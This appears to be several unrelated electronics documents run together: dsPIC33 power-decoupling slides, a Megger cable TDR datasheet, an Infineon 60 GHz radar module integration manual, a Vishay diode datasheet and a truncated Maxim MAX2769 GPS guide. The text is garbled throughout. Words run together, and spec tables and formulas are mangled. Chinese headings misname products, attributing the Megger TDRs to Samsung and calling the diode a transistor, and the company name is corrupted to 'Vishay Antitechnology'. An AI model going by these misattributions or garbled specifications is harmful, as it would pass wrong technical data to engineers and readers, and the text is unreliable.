speed. These high frequency current pulses are exclusively biased by the decoupling capacitors. The generated AC noise inevitably migrates into supply and ground traces, forward into the device as well as backwards to the voltage regulator (VRM).•Insufficient decoupling can stimulate passive/reactive elements along the way, which, if stimulated in the right frequency, may start to resonate, increasing the noise level.FBVDD/VSSANALOG INPUTSCDLOADVoltage Regulator Module (VRM)Passive/Reactive NetworkActive NetworkVREFC DAB dsPIC33C DSCCCCDigital GroundAnalog GroundOESRC ESLL O A DI LI ESLV DDV SSSymmetrical LayoutFour resonant peaks were found withinthe relevant frequency bandVDD Impedance profile measured at every decoupling capacitor(unpowered and powered)dsPIC33 Target ImpedanceHighly reactive resonance valleysI m p e d a n c e M a g n i t u d eSymmetrical Layout dsPIC33TargetImpedancewindow of interest Stimulus windowTotal VDD Impedance profile measured at PDN Port BCPU Clock Frequencies f CY2f CY f OSCKey Takeaways•Key Takeaways•Sharp valleys in an impedance profile indicate the presence of resonance/anti-resonance frequencies of passive/reactive network elements•The CPU load profile is determined by instruction execution and peripheral activity, which are both software dependent to a high degree•The faster the CPU, the wider the frequency range across potential stimuli can be injected into the passive/reactive network segment•If one or more resonators are stimulated simultaneously, the noise level may inflationary increase (Rouge Wave)•Remedy: Flat Impedance Design•Output impedance of voltage regulator must match target impedance•Decoupling capacitors must be selected to match/cancel excess inductance (traces)•Symmetrical design (equal trace length and width of VDD lines reduce number of resonant peaks)•Using ground planes instead of traces reduce VSS trace impedance, shifting potential resonant peaks into high frequency range beyond the Window Of InterestPlease note:Although passive/reactive network components may still be stimulated by higherfrequencies within the Stimulus Window, the CPU won’t be able to pick them up.Noise Budget –Target ImpedanceFlat Impedance Design•Determining Target Impedance Z TARGET•Determine max. acceptable voltage deviation for the application•ADC being the most sensitive element (ADC sample tolerance, e.g.10mV)•Determine minimum and maximum load current, depending on CPU speed and peripheral usage (e.g.I min= 40mA, I max= 80mA)Example:minmaxarg IIToleranceVZ DDetT−⨯=Z T arg et=3.3V×0.010V0.080A−0.040A=0.825WExcess Impedance Cancellation •Positive supply traces (V DD ) between PDN port (B) anddecoupling ports (C) should be as symmetrical as possible toprevent potential resonant frequencies spreading intomultiple peaks concentrated in a narrow frequency range.•Decoupling capacitance need to be selected to cancel the excess inductance of the supply traces. Too much or less capacitance will inevitably result in resonant tank becomingreactive to stimuli. A symmetrical design will allow to use thesame capacitance at every decoupling point (C)•Analog supply voltage is best taken from the nearest decoupling point (C) being filtered through a ferrite bead (E)FB VDD/VSS ANALOG INPUTSCD C C C D O EExcess Impedance Cancellation •Using ground planes instead of traces lowers the excess inductance, effectively moving potential resonant frequencies to higher ranges and eventually out of the Window Of Interest •Digital and analog ground should always be separated preventing noise produced by the CPU entering sensitive analog circuits •Prevent ground planes from overlapping and accidentally coupling noise between planes •Ground decoupling can be done by•Plane gaps, introducing a slightly increased resistance and inductance between both planes limiting noise from migrating•Putting 0 W resistors in between planes introducing the package inductance as a filter barrier•Replacing 0 W resistors by ferrite beads for a more specific filter characteristicFB VDD/VSS ANALOG INPUTS C D CC C Digital GroundAnalog Ground E 0R 0RAnalog Rail DecouplingVDD-2-AVDD Filtering •Digital noise generated by the CPU on V DD gets contained within the network segment by putting up a barrier between V DD and AV DD :•Ferrite Beads allow selective filtering of frequency bands while ensuring proper balancing of decoupling capacitors on V DD and AV DD (recommended)•Low Resistance Resistors also introduce some small package inductance as well provide resistance adding to lowering the Q resp. increase damping (e.g.4.7 W ) •Gapping of layout traces will have similar effects like the options above, but their effectiveness is questionable (not recommended in general) FB VDD/VSSANALOG INPUTS CD CC C Digital GroundAnalog Ground EV SS AV SSFBV DD AV DD 0RAdditional Design GuidanceDesign Example & DocumentsdsPIC33C DSC Design Reference:dsPIC33CH512MP506 Digital Power Plug-In Module (DP-PIM),Part-No. MA330049Anti-Alias Filter Design Guidance:dsPIC33CH512MP506 DP-PIM User Guide /Appendix C. Characterization Data。

三星(Samsung) CFL535G、TDR2010和TDR2050高级双通道TDR600V CA

CFL535G, TDR2010 and TDR2050Advanced Dual Channel TDR600 V CAT IV input protectionTDR2050 is the first TDR in this class to include a built-in 600 V input protection filter. The ability to connect to potentially livecircuits means a more flexible instrument suited for a wider range of applications.Trace Storage100 internal trace memories provide for the storage and recall of test results. The traces can be recalled to the display for analysis or compared with an active display to aid in fault location.Alternatively the stored results can be downloaded to a computer, via the USB port, using the TraceXpert software and USB lead provided.Step TDR functionThe Dead Zone effect of a standard pulse TDR can mask near end faults and make them undetectable. The addition of a step function on the TDR2050 eliminates this problem.Step TDR technology means that the signal is injected at full strength and stays there until a disturbance is detected. This makes step TDR technology perfect for detecting near end faults that standard pulse TDRs can miss.Distance dependant gainThis feature, built into the TDR2050, eliminates the drop off of signal attenuation on longer lines by gradually increasing the gain along the returned signal, enabling a more even representation of the relative attenuation at all points along the trace.Fault identificationMegger’s own built-in AutoFind mode allows for speedy identification of faults. One press of the AutoFind key automatically adjusts the range and gain, and positions the cursor to the first major event on the cable. Press the AutoFind key again and the cursor will jump to the next detected disturbance.DESCRIPTIONThe Megger ® CFL535G, TDR2010 and TDR2050 are state of the art, dual channel, high resolution, compact Time Domain Reflectometers with a color screen for locating faults on paired metallic cables. All TDRs in this series have a minimum resolution of 0.1 m / 0.3 ft and a 20 km / 65 kft maximum range depending on the velocity factor selected and the cable type.Various output impedances are available (CFL535G and TDR2010: 25, 50, 75, 100, 125 ohm + AUTO. TDR2050: 25, 50, 75, 100, 140 ohm + AUTO) and an auto impedance matching feature. The velocity factor can be set between 0.2 and 0.99 to meet any cable test requirements.FEATURES AND BENEFITSThe instruments have a large, high resolution, color, WVGA display with easy set up features. Directional control buttons, together with soft keys, provide intuitive and easy operation for the user.An AUTO selection option ensures that the most effective parameters are selected depending on the range required, aiding rapid diagnosis of the TDR trace. The ability to manually override the auto function allows fine tuning to enable identification of hard to determine faults.Dual trace and dual cursor capabilities allow full flexibility, giving the operator full control and instant indication of distance between two points.A trace comparison feature also allows close examination between trace conditions. Extra high resolution together with a white-light backlight, user definable color schemes give the graphical display a vibrance, aiding the user in identifying key events on the trace.■600 V CAT IV Input Protection filter built in ■Step and Pulse TDR selections ■Distance Dependant Gain ■Test straight from the box ■Trace Tagging ■2ns pulse width■Designed for use on all metallic paired cablesAdvanced Dual Channel TDRFindEnd functionTDR2050 also incorporates a FindEnd function, which allows the user to automatically search the trace to identify the end of the cable under test. This is useful in situations where a fast cable length measurement is required.For those who wish to maintain manual control, manual operation allows full override access to refine the response for easy fault identification.Color schemesThe very different light conditions that could be present when using the TDR2050, combined with the limitations of eye conditions such as color blindness, makes the addition of set color schemes in the instrument extremely important.TDR2010 and TDR2050 have 6 additional set color schemes on top of the Default and Outdoor schemes included on other Megger TDRs. There are also 2 custom slots where the user can specify their own scheme by setting up to 7 screen elements to their own choice of color.Trace TaggingTDR2010 and TDR2050 also incorporate a Trace Tagging feature which allows the user to add a name to saved traces. This could be the circuit ID, building name or any other identifying text the user wishes to save with the trace.A text string of up to 32 alphanumeric characters can be stored against each trace and this can consist of upper case letters including accents.TraceXpert PC softwareThe CFL535G, TDR2010 and TDR2050 come complete withthe Megger TraceXpert software which gives full control over downloading, reporting and uploading of saved trace results. Designed around a database and programmed for ease of use and simplicity, TraceXpert offers the ideal application for all your data processing requirements.ModelsThe series is available in 3 models.CFL535GA fully featured high resolution TDR with backlit color display and powered by Li-ion rechargeable battery batteries. This model comes complete with 2 pairs of mini-clip Test Leads.TDR2010The same as the CFL535G but with Trace Tagging and additional Color Scheme selection.TDR2050The same as TDR2010 but with the addition of 600 V CAT IV rating, Step, DDG and FindEnd functions.BENEFITS (MODEL DEPENDENT)■Backlit graphics color LCD (800x480)■Adjustable display contrast■Resolution to 0.1 m■AutoFind guide to potential fault location■100 trace on board memory■USB connection to PC allowing upload and download of traces■“TraceXpert” PC software analysis tool■For use on Telecom TNV-3 circuit, or 150 V CAT IV power circuits (CFL535G and TDR2010 only)■For use on power circuits to 600 V CAT IV (TDR2050 only)■Power blocking filter built-in■Environmental protection to IP54■Selectable output impedanceCFL535G and 2010: 25, 50, 75, 100, 125 ohm + AUTO.TDR2050: 25, 50, 75, 100, 140 ohm + AUTO.■2ns pulse for near end fault location■AUTO option selecting gain and pulse for each range■AUTO option matches output impedance to cable■Display distance in metres or feet■Li-ion rechargeable battery (12 hours typical life)Advanced Dual Channel TDRSPECIFICATIONExcept where otherwise stated, this specification applies at an ambient temperature of 20°CGENERALRangeUp to 20000 m with a minimum resolution of 0.1 m(Maximum range dependent on cable type)m ft ns10 30 12525 80 25050 160 500100 320 100250 800 2500500 1600 50001000 3200 100002500 8000 250005000 16000 5000010000 32500 10000020000 65000 200000 Accuracy±1% of range ±1 pixel at 0.67 VF[Note - The measurement accuracy is for the indicated cursor position only and is conditional on the velocity factor being correct.Resolution1% of range.Input protectionThis instrument complies with IEC61010-1 to protect the user in the event of connection to live systems. TDR2050 is rated at 600 V CAT IV while all other models are rated at 150 V CAT IV. TDR2050 is specifically designed to allow use on energized systems up to the rated voltage.All models are designed for use on de-energised systems and Megger fused leads must be used on power cables and fused leads must be used if the potential voltage between terminals could exceed 300 V or when connected to CATIV systems.Output pulseUp to 20 volts peak to peak into open circuit. Pulse widths determined by range, cable and model used.GainSet for each range with user selectable steps (in Manual operating mode). Velocity factorVariable from 0.2 to 0.99 in steps of 0.01.TX nullAutomaticTrace Tagging - 32 characters chosen from upper case letters including accents Color schemes - Default, Outdoor, CustomStep TDR - Eliminates the Dead Zone effectDDG - Available in ranges 1000 m and above in 0.5 dB stepsCable Impedance CFL535G and TDR2010: 25, 50, 75, 100, 125 ohm + AUTO. TDR2050: - 25, 50, 75, 100, 140 ohm + AUTO.Power downUser programmable auto power off timer 1, 5, 10 mins or never.BatteryLi-ion rechargeable battery.Battery charge time6 hours at 0 °C to 40 °C.Battery life12 hours typical.SafetyThese instruments comply with IEC61010-1 for connections to live systems up to 150 V CAT IV or 300 V CAT III (CFL535G and TDR2010 only).TDR2050 is rated at 600 V CAT IV. Fused leads must be used if the voltage between terminals exceeds 300 V.Compliant with EN60950-1, EN61010-1, UN38.3 and EN62133.EMCComplies with Electromagnetic Compatibility Specifications (Light industrial) BS EN 61326-1, with a minimum performance of ‘B’ for all immunity tests. MECHANICALIP ratingThe instrument is designed for use indoors or outdoors and is rated to IP54. CaseABS.Dimensions290 mm (11.4 in) x 190 mm (7.5 inches) x 55 mm (2.2 inches)Weight1.7kg (3.8lbs)ConnectorsFour 4mm-safety terminals and two F connectors. Other standard push on adapters will fit. F connectors not available on TDR2050.Test leadCFL535G and TDR2010 - 1.5 meters long consisting of 2 x 4 mm shrouded connector to miniature crocodile clipsCFL535GP and TDR2050 - 1.5 meter fused leads.Display800 x 480 pixel color graphics LCD, viewable in external environments. Color SchemesSelectableCFL535G x2TDR2010, TDR2050 x8CustomCFL535G x1TDR2010, TDR2050 x2BacklightPermanent backlight with all color schemes (adjustable brightness) ENVIRONMENTALOperating temperature range and humidity-15 °C to +50 °C (5 °F to 122 °F)Storage temperature range and humidity-20 °C to 70 °C (-4 °F to 158 °F)UNITED STATESMegger USAValley Forge Corporate Center2621 Van Buren Avenue, Norristown, Pennsylvania, 19403, USAT 1-610 676 8500F 1-610 676 8610Name_DS_Language_VNumber ISO9001Megger is a registered trademarkDescription Order Code Ordering informationTDR2050 Power TDR 1005-023 TDR2010 Dual Channel Comms 1007-078 CLF535G Dual channel 1007-069Description Order Code Included accessoriesTDR2050 Lead setsRetractable sheath fused test lead (2 pairs) 1006-511 CFL535G and TDR2010 Lead setsDual miniature clip test lead set 6231-654 TDR2010 US and CFL535GDual Comms Lead set with Bed of Nails Clips 6231-655 Download kit 1003-353 Carry case 1003-217 AC-DC charger 1003-352 User guide CDOptional accessoriesMiniature clip test lead set (1 pair) 6231-652 Split conductor fused test lead set (1 pair) 1002-015 Replacement battery 1002-552 Terminal adaptor kit 1003-218 AC power lead - US 25970-002 Red and black probes and clips - for use withall Megger TDR Fused Test Leads. 1002-491 Retractable sheath fused test lead (1 pair) 1006-511。

Infineon 60 GHz雷达FF模块用户手册和集成说明说明书

60 GHz radar form factor module based on Infineon reference designUser manual and integration instructions for host product manufacturersAbout this documentScope and purposeThis document is the user manual with integration instructions for the radar embedded form factor (FF) module with presence detection software.Intended audienceManufacturers who intend to integrate the Infineon 60 GHz radar (BGT60TR13C) embedded form factor solution into their host product.Table of contentsAbout this document (1)Table of contents (2)1Introduction (4)1.1General features (4)1.2Presence detection features (4)2Hardware information (5)2.1Block diagram (5)2.2Module pin definitions (6)2.3Recommended operating conditions (7)2.4Module RF parameters (8)3UART interface connection (9)3.1Example command (9)4Radar radiation pattern (10)4.1Test setup (10)4.2Radiation pattern (10)5FCC considerations (12)5.1List of applicable FCC rules (12)5.2Specific operational use conditions (12)5.3Limited module procedures (12)5.4Trace antenna design (13)5.5RF exposure considerations (13)5.6Antennas (13)5.7Label and compliance information (13)5.8Information on test modes and additional testing requirements (13)5.9Test mode command (13)5.10Important notes (14)6Reference design (15)6.1Design recommendation (15)6.2Integration of module without RF shield into host product (15)7Module information (17)7.1Module dimensions (17)7.2Recommended land pattern (18)8SMT/baking information (19)8.1Baking recommendations (19)8.2SMT recommendations (19)9Revision history (21)Glossary Table 1Abbreviations1IntroductionMotion sensing is a standard feature present in many devices. Today’s devices become smarter by knowing if the user is around or not. Traditionally, motion sensors have been designed using passive infrared sensing (PIR). As simple as PIR is, there are performance limitations. For example, PIR sensors cannot detect micro motions. In addition, they require a lens, whereas radar sensors can be covered and disguised behind plastic enclosures. Infineon’s presence detection sensor module integrates 60 GHz mmWave technology. The module simplifies the implementation of mmWave sensors in the band of 61.0 to 61.5 GHz, and it includes the ARM® Cortex®-M4F based processor system, 1TX 3RX antennas and onboard regulator. This presence detection sensor module targets low-power and high-resolution presence detection in smart home, office, and diverse other use cases.1.1General features∙ARM® Cortex®-M4F 150 MHz, 1024 kB Flash, 288 kB RAM∙Built-in antennas (1TX 3RX)∙Built-in regulator∙UART interface and GPIOs∙ 3.6~5 V power input∙26-pin pitch 1.27 mm castellated holes∙Dimensions: 20 x 15 x 2.3 mmFigure 160 GHz radar form factor module1.2Presence detection features∙Low power and high resolution∙Presence sensing for home, office and commercial buildings∙Adjustable detection range∙Field of view of radar: azimuth: ±45 degrees/elevation: ±40 degrees∙Immune to environmental factors such as temperature, wind, sunlight and dust/debris∙Detection range:o Detection up to 10 m for macro motion (1)o Detection up to 5 m for micro motion (2)(1) Macro motion: Human movements.(2) Micro motion: Stationary human (normally breathing and blinking eyes) in sitting or standing position with no active movements for at least 30 s.2Hardware information2.1Block diagramFigure 2Module block diagramThe main components of the module are the 60 GHz radar chip, the ARM® based MCU and the 80 MHz oscillator. The module has its own power supply regulation. UART is the communication interface to the host device.2.2Module pin definitions Figure 3Components on the moduleTable 3P2 Pin definitions2.3Recommended operating conditions(1)Based on firmware 237a4fe version.(2)Means ambient temperature when working.2.4Module RF parameters1Fixed by firmware to comply with granted FCC certification. Figure 4Module – E- and H-planeUART interface connection3UART interface connectionA UART interface is used to communicate with the radar module through binary commands. The UART TX and RX pins operate at TTL 3.3 V level. A detailed configuration of the UART interface is shown in the table below.3.1Example commandExample command to get firmware version:Command send to UART_RXD9 00 00 00 B4 DFReply command receive at UART_TXD9 00 1E 00 50 72 65 73 65 6E 63 65 44 65 74 65 63 74 5F 31 2E 33 2E 30 20 28 31 35 36 61 34 62 63 29 52 EFThe binary command is in the format of header + length + payload + checksum. For detailed information please refer to the “Infineon BGT60TR13C embed MCU4 binary command protocol manual”.Radar radiation pattern4Radar radiation pattern 4.1Test setupE-planeFigure 54.2Radiation patternFigure 6Radiation pattern of the E-planeRadar radiation patternFigure 7Radiation pattern of the H-plane5FCC considerationsThe reference module has been certified at FCC according to the rules as stated in chapter 5.1.Host product manufacturers must immediately file a 2.933 Change-in-ID application to obtain their own FCC ID for the module, and then a C2P application to authorize the module in their specific host device(s).Host product manufacturers are advised to carefully read the whole of chapter 5 and follow the guidelines according to KDB 996369 D04, or the latest updates of it.5.1List of applicable FCC rulesThe modular transmitter was tested according to the following rules:∙FCC Rules and Regulations Part 15, Subpart A – General (September 2019)∙Part 15, Subpart A, Section 15.31 Measurement standards∙FCC Rules and Regulations Part 15, Subpart C – Intentional Radiators (September 2019)∙Part 15, Subpart C, Section 15.203 Antenna requirements∙Part 15, Subpart C, Section 15.204 External radio frequency power amplifiers and antenna modifications∙Part 15, Subpart C, Section 15.205 Restricted bands of operation∙Part 15, Subpart C, Section 15.207 Conducted limits∙Part 15, Subpart C, Section 15.209 Radiated emission limits, general requirements∙Part 15, Subpart C, Section 15.255 Operation within the band 57 to 71 GHz.The modular transmitter is only FCC authorized for the specific rule parts listed on the grant. The host product manufacturer is responsible for compliance with any other FCC rules that apply to the host not covered by the modular transmitter grant of certification.5.2Specific operational use conditions∙The module is classified for use in fixed equipment, refer to chapter 5.5.∙The module is FCC- certified for the operating frequency range 61 to 61.5 GHz.∙The application software (SW) has the firmware (FW) ID 1.0.0.5.3Limited module proceduresThe modular transmitter is approved by FCC as a “limited module” due to the following limitations: ∙The module does not have its own RF shielding.∙The module does not have an FCC ID label attached to it. FCC ID: 2AYSQ-6011Notes:∙See also chapter 5.5 for human exposure considerations.∙The module has not been tested for simultaneous transmission operations.∙Refer to chapter 6.2 for integration methods that address the limitation due to RF shielding.5.4Trace antenna designNot applicable.5.5RF exposure considerations∙The performed human exposure evaluation is described in the “Human exposure RF test report” No. : T46134-04-00HS∙The module is classified for use in fixed equipment.o The host product operating conditions must be such that there is a minimum separation distance of 20 cm (or possibly greater than 20 cm) between the module and nearby persons.o The host product manufacturer is required to provide the following text in its end user manual: “In order to comply with FCC RF Exposure requirements this device must be operated with aminimum separation distance of 20 cm between the equipment and a person’s body.”5.6AntennasThe antenna is integrated into the radar chip (on-chip antenna).Type: Linear polarized strip patch array antenna; gain 5 dBi.5.7Label and compliance informationThe module does not have a FCC label attached to it. The host product manufacturer is advised to provide a physical or e-label stating “Contains FCC ID: ….” with the finished product. The manufacturer is advised to read “Guidelines for Labeling and User Information for RF Devices – KDB Publication 784748.”5.8Information on test modes and additional testing requirementsInfineon provides software that enables the host module manufacturer to operate the module in certain test modes, including the modes that have been used for FCC certification of the module:∙CW low frequency: Operates the module in CW at 61.019 GHz.∙CW mid frequency: Operates the module in CW at 61.249 GHz.∙CW high frequency: Operates the module in CW at 61.479 GHz.∙FMCW: Chirp mode V 1.0.0 (presence detection SW) according to FW version 1.0.0.The SW also provides additional options that might be useful in testing the host system – e.g. a mode that puts the module into sleep mode. See the next chapter for information on initializing and using the SW.5.9Test mode commandThe UART interface can be used to set up the module in test mode. The following table show the commands for entering different test modes. After power-up or reset, the module will be in presence detection mode, which is sending FMCW chirps. An acknowledge command will be sent from the module after a valid command is received.To enable RFCW mode, please follow the below command sequence:Disable presence detection →Enable RFCW output (low/mid/high)To resume chirp mode from RFCW mode, please follow the below command sequence:Disable RFCW output →Enable presence detection5.10Important notesThe host product manufacturer must provide the below text to the end-user:a) Changes or modifications not expressly approved by the party responsible for compliance could void the user’s authority to operate the equipment.b) This device complies with Part 15 of the FCC rules. Operation is subject to the following conditions:∙This device may not cause interference.∙This device must accept any interference, including interference that may cause undesired operation of the device.6Reference design6.1Design recommendation∙Please reserve the test points of the UART for FW upgrade in the future.∙Please keep the module solder layer free of ground plane/trace rout in the “keep-out area” (shown in Figure 12).∙The power trace for DC_IN must be at least 20 mm wide.Figure 8Recommended layout of radar module6.2Integration of radar module into host productConsiderations when integrating are to ensure that the emissions from the host electronics are not advertently impacting the module and preventing proper operation. Conversely, the module emissions shall not prevent the rest of the host from operating properly. The complete host must still comply with applicable FCC regulations.Therefore, a verification of the final product must be done, by at least spot-checking emissions from the device while operating the host as a complete system. This testing should be performed with the host product configured in typical operational modes to check the fundamental frequency and spurious emissions for compliance with all applicable rules.To reduce the impact of the module on emissions, the host product manufacturer is advised to follow these guidelines:∙Ensure that the maximum amount of the radar signal is indeed leaving the host device by ensuring that the signal is not unnecessarily reflected inside the host. See the Infineon “60 GHz radar radome design guide” for proper distances to housing surfaces and recommended housing materials.∙Place the radar module inside the host as far away as technically feasible from other electronics that have been identified as susceptible to RF emissions, or identified to be a potential source of suchemissions. Such potential sources include other intentional transmitters or digital electronics operating at MHz clock rates.Put the PCB with the radar module soldered onto it within a separate section of the host, where it can be shielded from other host electronics. The shielding should be made of sheet metal, metal mesh or a metallic ink-coated material expressly designed as an effective shield. Any holes in the shield must be significantly smaller than the wavelength of the radiation that is being blocked. For 60 GHz radar that would mean maximum 0.5 mm.Whereas the first item should always be followed by the host manufacturer, the manufacturer can evaluate whether items two or three are suitable for the product and take measures to keep overall emissions below regulatory limits.7Module information7.1Module dimensionsTop view Side viewBottom viewFigure 9Module dimensions7.2Recommended land pattern Figure 10Recommended land pattern dimensions8SMT/baking information8.1Baking recommendationsBaking conditions:∙Follow MSL Level 4 to carry out the baking process.∙After the bag is opened, devices that will be subjected to reflow solder or other high-temperature processes must be:o mounted within 72 hours of factory conditions at less than 30°C/60 percent RHo stored at less than 10 percent RH.∙Devices require baking before mounting if the humidity indicator card reads more than 10 percent.∙If baking is required, devices may be baked for 8 hours at 125°C.8.2SMT recommendationsRecommended reflow profile:Figure 11Reflow profile of moduleNote: Add nitrogen during the reflow process to improve SMT solderability.∙Stencil thickness: 0.1~0.13 mm (recommended)∙Soldering paste (without Pb): SENJU N705-GRN3360-K2-V for best soldering effects.60 GHz Radar FF Module for Presence Detection based on InfineonReference DesignTable of contents9Revision history21Trademarks All referenced product or service names and trademarks are the property of their respective owners.Edition June 2021AppNote NumberPublished by Infineon Technologies AG 81726 Munich, Germany© 2021 Infineon Technologies AG. All Rights Reserved. Do you have a question about this document? Email: ******************** Document reference IMPORTANT NOTICE The information contained in this application note is given as a hint for the implementation of the product only and shall in no event be regarded as a description or warranty of a certain functionality, condition or quality of the product. Before implementation of the product, the recipient of this application note must verify any function and other technical information given herein in the real application. Infineon Technologies hereby disclaims any and all warranties and liabilities of any kind (including without limitation warranties of non-infringement of intellectual property rights of any third party) with respect to any and all information given in this application note. The data contained in this document is exclusively intended for technically trained staff. It is the responsibility of customer’s technical departments to evaluate the suitability of the product for the intended application and the completeness of the product information given in this document with respect to such application. For further information on the product, technology, delivery terms and conditions and prices please contact your nearest Infineon Technologies office ( ). WARNINGS Due to technical requirements products may contain dangerous substances. For information on the types in question please contact your nearest Infineon Technologies office. Except as otherwise explicitly approved by Infineon Technologies in a written document signed by authorized representatives of Infineon Technologies, Infineon Technologies’ products may not be used in any applications where a failure of the product or any consequences of the use thereof can reasonably be expected to result in personal injury.。

维沙BY228-13标准氧化陶瓷晶体管稳定氧化陶瓷晶体管用户手册说明书

Manuals+— User Manuals Simpliﬁed.VISHAY BY228-13 Standard Avalanche Sinterglass Diode Owner’s ManualHome » VISHAY » VISHAY BY228-13 Standard Avalanche Sinterglass Diode Owner’s ManualVISHAY BY228-13 Standard Avalanche Sinterglass DiodeFEATURESGlass passivated junctionHermetically sealed packageMaterial categorization:for deﬁnitions of compliance please see /doc?99912APPLICATIONSHigh voltage rectiﬁcationEﬃciency diode in horizontal deﬂection circuits DESIGN SUPPORT TOOLSDESIGN SUPPORT TOOLSPARTS TABLEPART TYPE DIFFERENTIATION PACKAGE BY228-13V = 1000 V; I = 3 A SOD-64 BY228-15V = 1200 V; I = 3 A SOD-64 ABSOLUTE MAXIMUM RATINGS (T = 25 °C, unless otherwise speciﬁed)PARAMETER TEST CONDITION PART SYMBOLVALUE UNITReverse voltage See electrical characteristics BY228-13V1000VBY228-15V1200VPeak reverse voltage, non rep etitive l = 100 µABY228-13VRSM1300VBY228-15VRSM1500VPeak forward surge current t = 10 ms, half sine wave IFSM50A Average forward current IF(AV)3A Junction temperature T140°CStorage temperature range Tstg -55 to +1 75°CNon repetitive reverse avalanc he energy l = 0.4 A E10mJR F(AV)R F(AV)ambRR Rpj (BR)R RMAXIMUM THERMAL RESISTANCE (T = 25 °C, unless otherwise speciﬁed)PARAMETER TEST CONDITION SYMBOL VALUE UNITJunction ambientOn PC board with spacing 25 mmRthJA70K/WELECTRICAL CHARACTERISTICS (T = 25 °C, unless otherwise speciﬁed)PARAMETER TEST CONDITION PART SYMBO LMIN.TYP.MAX.UNITForward voltageI = 5 AV –– 1.5VReverse currentV = 1000 V BY228-13I –25µAV = 1200 VBY228-15I –25µAV = 1000 V, T = 140 °CBY228-13I ––140µAV = 1200 V, T = 140 °CBY228-15I ––140µAReverse recovery tim e I = 0.5 A, I = 1 A, i = 0.25 Atrr ––2µsTotal reverse recovery time l = 1 A, – dI /dt = 0.05 A /µstrr ––20µsTYPICAL CHARACTERISTICS (Tamb = 25 C, unless otherwise speciﬁed)Fig. 1 – Typ. Thermal Resistance vs. Lead Lengthamb amb F FR RR RR j RR j RF R R F FFig. 2 – Forward Current vs. Forward VoltageFig. 3 – Max. Average Forward Current vs. Ambient TemperatureFig. 4 – Reverse Current vs. Junction TemperatureFig. 5 – Diode Capacitance vs. Reverse VoltageFig. 6 – Diode Capacitance vs. Reverse VoltagePACKAGE DIMENSIONS in millimeters (inches): SOD-64Contents1 Disclaimer2 Documents /Resources2.1 References3 Related PostsDisclaimerALL PRODUCT, PRODUCT SPECIFICATIONS AND DATA ARE SUBJECT TO CHANGE WITHOUT NOTICE TO IMPROVERELIABILITY, FUNCTION OR DESIGN OR OTHERWISE.Vishay Antitechnology, Inc., its aﬃliates, agents, and employees, and all persons acting on its or their behalf (collectively, “Vishay”), disclaim any and all liability for any errors, inaccuracies or incompleteness contained in any datasheet or in any other disclosure relating to any product.Vishay makes no warranty, representation or guarantee regarding the suitability of the products for any particular purpose or the continuing production of any product. To the maximum extent permitted by applicable law, Vishay disclaims (i) any and all liability arising out of the application or use of any product, (ii) any and all liability, including without limitation special, consequential or incidental damages, and (iii) any and all implied warranties, including warranties of ﬁtness for particular purpose, non-infringement and merchantability.Statements regarding the suitability of products for certain types of applications are based on Vishay’s knowledge of typical requirements that are often placed on Vishay products in generic applications. Such statements are not binding statements about the suitability of products for a particular application. It is the customer’s responsibility to validate that a particular product with the properties described in the product speciﬁcation is suitable for use in a particular application. Parameters provided in datasheets and / or speciﬁcations may vary in diﬀerent applications and performance may vary over time. All operating parameters, including typical parameters, must be validated for each customer application by the customer’s technical experts.Product speciﬁcations do not expand or otherwise modify Vishay’s terms and conditions of purchase, including but not limited to the warranty expressed therein.Hyperlinks included in this datasheet may direct users to third-party websites. These links are provided as a convenience and for informational purposes only. Inclusion of these hyperlinks does not constitute anendorsement or an approval by Vishay of any of the products, services or opinions of the corporation,organization or individual associated with the third-party website.Vishay disclaims any and all liability and bears no responsibility for the accuracy, legality or content of the third-party website or for that of subsequent links.Except as expressly indicated in writing, Vishay products are not designed for use in medical, life-saving, or life-sustainingapplications or for any other application in which the failure of the Vishay product could result in personal injury or death.Customers using or selling Vishay products not expressly indicated for use in such applications do so at their own risk. Please contact authorized Vishay personnel to obtain written terms and conditions regarding products designed for such applications.No license, express or implied, by estoppel or otherwise, to any intellectual property rights is granted by this document or by any conduct of Vishay. Product names and markings noted herein may be trademarks of their respective owners.Documents / ResourcesVISHAY BY228-13 Standard Avalanche Sinterglass Diode [pdf] Owner's ManualBY228-13 Standard Avalanche Sinterglass Diode, BY228-13, Standard Avalanche SinterglassDiode, Avalanche Sinterglass Diode, Sinterglass Diode, DiodeReferencesVishay Intertechnology: Passives & Discrete Semiconductors/doc?32571/doc?86118/doc?91000/doc?99912Manuals+,。

max2769用户手册说明书

Click here for an overview of the wireless components used in a typical radiotransceiver.Maxim > Design Support > Technical Documents > User Guides > APP 3910Keywords: GPS, receiver, GPS receiver, MAX2769, 2769, 1575MHz, Integrated GPS Receiver, Global Positioning System USER GUIDE 3910User's Guide for the MAX2769 GPS ReceiverBy: David Weber, Strategic Applications Engineer Sep 22, 2006Abstract: This note describes the MAX2769, a low-cost, single-conversion, low-IF GPS receiver chip that offers more flexibility and performance than its predecessors. Also included is a test procedure for the MAX2769 evaluation kit (EV kit) and some suggested SPI™ register settings for evaluation purposes.IntroductionThe MAX2769 is a low-cost, single-conversion, low-IF GPS receiver chip that offers more flexibility and performance than its predecessors. This device covers a wide range of GPS applications such as mobile handsets, PDAs and embedded PC, and automotiveapplications. It represents the most flexible, high-performance, low-power GPS receiver on the market.IC FeaturesLow DC Power ConsumptionPower required is typically 16mA to 23mA at 3V. Using SPI control, the device can be placed in idle mode, in which only the clock buffer and temperature sensor are active and the current consumption drops to 0.5mA.Low Associated BOM Cost and Reduced SizeThe MAX2769 is a direct down-conversion design with internal filtering that eliminates the need for external filteringcomponents. An excellent noise figure (NF) of 1.4dB for the cascaded chain (with a 0.8dB typical first-stage NF) allows this device to be used with a passive antenna. No external LNA is required. Because the design removes intermediate frequency filtering and preamplification, the MAX2769 requires less board space to implement a receiver.Flexibility for Applications Involving Active AntennasA designer can use this device with an active antenna, as in an automotive application. For an active-antenna application, a second internal path can be selected, which leads to a different LNA (LNA2) with lower gain (13dB vs. 19dB) and a slightly higher NF (1.1dB vs. 0.8dB). This approach results in a power savings of 16mA to 19mA vs. 23mA to 21mA at 3V in default mode.A voltage is provided at pin 3 specifically to bias the active device. This voltage can be turned off through the SPI interface for passive-antenna applications. If, however, the voltage is enabled, then LNA selection can be done automatically depending on whether there is an active antenna present. In the LNA-gated mode, the receiver is configured to automatically switch between the two LNAs contingent on whether a load current in excess of 1.5mA is detected at the antenna bias pin. A user does not need separate designs for applications using active and passive antennas; the chip automatically selects the appropriate LNAfor any application. If automatic LNA selection is not desired, it can be disabled through the Config1 register <14:13>.Internal Capacitive Load Trimming for Crystal ReferencesWhen using the MAX2769 with a crystal reference, no tuning of external load capacitors is required to match devices—a bank of internal crystal load capacitors 